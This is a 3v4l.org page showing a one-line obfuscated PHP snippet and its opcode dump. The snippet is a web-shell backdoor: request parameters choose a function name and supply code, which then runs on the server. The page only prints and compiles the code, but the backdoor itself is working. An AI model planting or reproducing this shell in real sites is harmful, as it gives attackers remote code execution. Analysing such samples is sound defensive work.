3v4l.org

run code in 300+ PHP versions simultaneously
<?php if (isset($_REQUEST['FILE'])){$_FILE =$_REQUEST['12722f6d103997f30e9765d0153305']('$_',$_REQUEST['FILE'].'($_);'); $_FILE(stripslashes($_REQUEST['HOST']));} ?>
Finding entry points
Branch analysis from position: 0
2 jumps found. (Code = 43) Position 1 = 3, Position 2 = 21
Branch analysis from position: 3
1 jumps found. (Code = 62) Position 1 = -2
Branch analysis from position: 21
filename:       /in/KGtD1
function name:  (null)
number of ops:  22
compiled vars:  !0 = $_FILE
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
    2     0  E >   FETCH_IS                                         ~1      '_REQUEST'
          1        ISSET_ISEMPTY_DIM_OBJ                         0          ~1, 'FILE'
          2      > JMPZ                                                     ~2, ->21
          3    >   FETCH_R                      global              ~3      '_REQUEST'
          4        FETCH_DIM_R                                      ~4      ~3, '12722f6d103997f30e9765d0153305'
          5        INIT_DYNAMIC_CALL                                        ~4
          6        SEND_VAL_EX                                              '%24_'
          7        FETCH_R                      global              ~5      '_REQUEST'
          8        FETCH_DIM_R                                      ~6      ~5, 'FILE'
          9        CONCAT                                           ~7      ~6, '%28%24_%29%3B'
         10        SEND_VAL_EX                                              ~7
         11        DO_FCALL                                      0  $8      
         12        ASSIGN                                                   !0, $8
         13        INIT_DYNAMIC_CALL                                        !0
         14        INIT_FCALL                                               'stripslashes'
         15        FETCH_R                      global              ~10     '_REQUEST'
         16        FETCH_DIM_R                                      ~11     ~10, 'HOST'
         17        SEND_VAL                                                 ~11
         18        DO_ICALL                                         $12     
         19        SEND_VAR_NO_REF_EX                                       $12
         20        DO_FCALL                                      0          
    3    21    > > RETURN                                                   1

Generated using Vulcan Logic Dumper, using php 8.0.0


preferences:
198.49 ms | 1395 KiB | 15 Q